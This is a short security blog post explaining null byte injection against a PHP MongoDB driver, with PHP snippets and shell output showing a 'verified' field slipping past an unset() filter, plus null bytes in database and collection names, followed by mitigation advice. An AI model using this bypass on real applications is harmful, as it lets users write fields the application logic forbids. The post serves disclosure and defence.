MongoDB Null Byte Injection attacks

Published on by

Following my earlier post on how MongoDB can be vulnerable to SQL injection I discovered that MongoDB is also vulnerable to Null Byte Injection. The attack could potentially let users overwrite fields in the database to which the application logic denies them access. In extreme cases it may be possible to trick the application in writing to or reading from a different database or collection.

Lets take a look at an example. The code below allows users to insert random objects into the collection by passing an array of objects in the GET command. However it denies them access to insert the field "verified".

$con = new Mongo("mongodb://localhost");
$db  = $con->selectDB("example")->
          selectCollection("population");

$_GET['person'] = array(
    "name" => "Alice",
    "age" => 20,
    "verified" => true
);

unset($_GET['person']['verified']);
$db->insert($GET['person'], true);

When we inspect the database we can see that the object was created in the "population" collection with the exception of the "verified" field.

> use example
switched to db example
> db.population.find();
{ "_id" : ObjectId("4d567e42528a7b056e000000"), "name" : "Alice", "age" : 20 }

This code should allow the user to insert any people and prevent the "verified" field from being set. However, by injecting a null byte into the array key we can bypass the checks and allow the field "verified" to be stored in MongoDB.

$con = new Mongo("mongodb://localhost");
$db  = $con->selectDB("example")->
          selectCollection("population");

$_GET['person'] = array(
    "name" => "Alice",
    "age" => 20,
    "verified" . chr(0) . "ignored" => true
);

unset($_GET['person']['verified']);

$db->insert($_GET['person'], true);

The MongoDB server filters out anything after the null byte and when we check the collection we can see that the "verified" field has been populated.

> use example
switched to db example
> db.population.find();
{ "_id" : ObjectId("4d567ff5528a7b476e000000"), "name" : "Alice", "age" : 20, "verified" : true }

The Null Byte Injection affects the collection and database names as well. The code below would still write to the example.population collection.

$con = new Mongo("mongodb://localhost");
$db  = $con->selectDB("example" . chr(0) . "ignored")->
selectCollection("population" . chr(0) . "ignored");

The best solution is to strictly validate the fields you allow users to pass to a collection, additionally check each user-supplied database and collection string for the presence of null-bytes.